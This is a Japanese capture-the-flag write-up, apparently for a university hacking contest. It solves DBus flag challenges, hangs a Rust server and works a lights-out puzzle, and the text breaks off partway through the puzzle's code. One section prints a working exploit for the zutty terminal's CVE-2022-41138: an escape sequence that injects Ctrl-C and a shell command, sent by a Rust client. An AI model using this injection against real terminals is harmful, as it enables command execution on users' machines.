あまり分散していないソフトバス#
問題は長いですが、何も理解できませんでした。ChatGPT にお願いしました!
GPT は、dbus-send
と gdbus
を使用して DBus メソッドを呼び出すことができると教えてくれました。
まず、gdbus introspect
を使用して、どのメソッドとパラメータがあるかを確認します。flagserver.c
で以下のパラメータを見つけました(実際には C コードにもメソッドが書かれていますが、これは直感的です)。
gdbus introspect --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService
DBus は何をするのか?#
「GetFlag1」メソッドを直接呼び出せばいいでしょう!
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag1
Error: GDBus.Error:org.freedesktop.DBus.Error.InvalidArgs: Type of message, ?()?, does not match expected type ?(s)?
おお、ダメです、引数を渡す必要があります。C コードを見たところ、「Please give me flag1」という引数が必要です。次に、GPT に引数を渡す方法を尋ねました。
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag1 \
"Please give me flag1"
flag{every_11nuxdeskT0pU5er_uSeDBUS_bUtn0NeknOwh0w_??????????}
ファイルディスクリプタになりたい#
flagserver.c
で GetFlag2
メソッドがあり、ファイルディスクリプタを引数として受け取ることがわかります。ファイルディスクリプタは、bash でどのように作成できますか?GPT に聞いてみましょう!
exec 3</path/to/file
よし、やってみましょう!
touch /tmp/a
exec 3</tmp/a
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag2 \
3
Error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dio_2derror_2dquark.Code3: Please don't give me a file on disk to trick me!
🌚 ファイルはダメですか?!この記事を通じて、ハードディスク上のファイルだけでなく、stdin/out もファイルディスクリプタを持つことがわかりました。したがって、匿名パイプを作成し、ファイルディスクリプタを作成するために GPT に手伝ってもらいました。
{
echo "Please give me flag2" | {
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag2 \
3
} 3<&0
} 3<&1
flag{n5tw0rk_TrAnSpaR5Ncy_d0n0t_11k5_Fd_??????????}
もし私がファイルディスクリプタになれたら#
GetFlag3
メソッドを直接呼び出してみましょう。
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag3
Error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dio_2derror_2dquark.Code3: You shall use getflag3 to call me!
どうやら getflag3
を使用して呼び出す必要があります。flagserver.c
で、プロセス名を取得するために /proc/<pid>/comm
を読み取っていることがわかります。getflag3
でない場合、エラーが返されます。
ここで、私は非常に素朴な方法を使用し、getflag3
を再コンパイルして、flag を印刷する行を追加しました。
g_print("%s\n", flag);
次に、Docker でコンパイルし、base64 に変換しました。最後に、元の getflag3
を base64 のコードに置き換えました。
#!/bin/bash
base64 -d <<< "<base64 data>" > /dev/shm/getflag3
chmod +x /dev/shm/getflag3
/dev/shm/getflag3
flag{prprprprprCTL_15your_FRiEND_??????????}
RISC-V:虎胆龍威#
できません、スキップします。
参考公式解答。
アニメーション共有#
この問題は、私を一晩中苦しめました 🫠。
HTTP サービスを停止し続ければ、応答が延び続ける#
最初の問題は長い間考えましたが、最初の方向は第二の問題でした。プログラムを終了させる方法を考えていましたが、ローカルでデバッグしていると、サーバーが頻繁にハングアップすることに気づきました。実際、この Rust プログラムは単一スレッドです。現在のリクエストが完了しない限り、後続のリクエストはブロックされます。
しかし、プログラムを実行し続けながら、検出プログラムにプログラムが終了したと認識させるにはどうすればよいでしょうか?daemon(3)
(https://man7.org/linux/man-pages/man3/daemon.3.html)関数を使用して実現できます。
use nix::unistd::daemon;
use nix::unistd::sleep;
fn main() {
let stream = std::net::TcpStream::connect("127.0.0.1:8000").unwrap();
println!("完了");
daemon(false, false).unwrap();
sleep(1000);
}
ここでは、nix パッケージを使用してシステムコールを呼び出します。
flag{wa1t_no0O0oooO_mY_b1azIngfA5t_raust_f11r5erVer_??????????}
希望のターミナルエミュレーターが私たちの絆をつなぐ#
この問題は私を絶望させました。Rust の fileserver
を 800 回見直しても、パニックになる可能性のある場所を見つけられませんでした。(しかし、他の人が URL に \x80
を渡すことでパニックを引き起こすことができると言っているのを見ました)。
まず、問題文に「数年前にコンパイルされた祖伝のターミナルエミュレーター」と明記されており、Dockerfile
には特に 0.12
バージョンの zutty
がインストールされていることがわかります。したがって、このターミナルエミュレーターに問題があると推測できます。
zutty cve
を通じて、CVE-2022-41138 を見つけ、さらにそれに関連する POC を見つけました。
さらに掘り下げると、DECRQSS
が何であるかを理解し、この記事を見つけました。まさに私の顔に答えを投げつけられたようなものでした。
私は、zutty
内で Ctrl-C を押して cat /flag2 > /flag3
を実行する文字列を構築しました。
printf "\e[0m\eP\$q\x3\e\\ \eP\$qm\rcat /flag2 > /flag3\r\e\\ \eP\$qm\e\\ "
その後、この文字列を URL に入れると、flag を取得できるはずです……?
use std::{fs, io::Write, net::TcpStream, thread::sleep};
fn main() {
let header = b"GET /";
let res: [u8; 18] = [
27, 91, 48, 109, 27, 80, 36, 113, 3, 27, 92, 32, 27, 80, 36, 113, 109, 13,
];
let command = b"cat /flag2 > /flag3";
let res2: &[u8; 12] = &[13, 27, 92, 32, 27, 80, 36, 113, 109, 27, 92, 32];
let bytes = [header.as_ref(), &res, command, res2].concat();
let mut stream = TcpStream::connect("127.0.0.1:8000").unwrap();
stream.write_all(&bytes).unwrap();
sleep(std::time::Duration::from_secs(1));
let res = fs::read("/flag3").unwrap();
let flag = String::from_utf8_lossy(&res);
println!("{}", flag);
}
このプログラムをローカル Docker で実行すると、flag を取得できます。しかし、競技環境ではエラーが出ました!
called `Result::unwrap()` on an `Err` value: Os { code: 2, kind: NotFound, message: "No such file or directory" }
なぜこの問題が Docker のローカル環境と競技環境で不一致になるのかはわかりませんが、パスを /tmp/flag3
に変更すると、問題なく動作しました。🤦
したがって、一度に 2 つの flag を取得できますが、最初の flag はすでに取得しています。
flag{xterm_&_DECRQSS_in_2008_0NcE_morE_??????????}
LESS ファイルビューアオンライン版#
解けません、見送りです。Web とは半分も関係がないように感じますが、Web カテゴリに分けられています。
参考公式解答。
照明を消す#
GPT の高光時刻、私は一晩中考えても解けず、何枚かの草稿用紙を使いました。しかし、GPT のプロンプトを再調整すると、解決できました。
Easy#
GPT から得たコードを少し修正するだけで、以下のプログラムが得られます。
def get_answer(lights_string):
# ライト配列文字列を numpy 配列に戻す
lights_array = np.array(list(map(int, lights_string)), dtype=np.uint8).reshape(
n, n, n
)
# 線形システムの係数行列を作成
A = np.zeros((n**3, n**3), dtype=np.uint8)
def index(x, y, z):
return x * n * n + y * n + z
for x in range(n):
for y in range(n):
for z in range(n):
idx = index(x, y, z)
A[idx, idx] = 1
if x > 0:
A[idx, index(x - 1, y, z)] ^= 1
if x < n - 1:
A[idx, index(x + 1, y, z)] ^= 1
if y > 0:
A[idx, index(x, y - 1, z)] ^= 1
if y < n - 1:
A[idx, index(x, y + 1, z)] ^= 1
if z > 0:
A[idx, index(x, y, z - 1)] ^= 1
if z < n - 1:
A[idx, index(x, y, z + 1)] ^= 1
# ライト配列をフラット化して、方程式の右辺を取得
b = lights_array.flatten()
# GF(2) で線形システム A * x = b を解く
# GF(2) でのガウス消去を使用します
A = A.astype(np.bool_)
b = b.astype(np.bool_)
# ガウス消去
for i in range(n**3):
if not A[i, i]:
for j in range(i + 1, n**3):
if A[j, i]:
A[[i, j]] = A[[j, i]]
b[[i, j]] = b[[j, i]]
break
for j in range(i + 1, n**3):
if A[j, i]:
A[j] ^= A[i]
b[j] ^= b[i]
x = np.zeros(n**3, dtype=np.bool_)
for i in range(n**3 - 1, -1, -1):
if b[i]:
x[i] = 1
for j in range(i):
if A[j, i]:
b[j] ^= 1
# 解を元の形式に戻す
switch_array = x.astype(np.uint8).reshape(n, n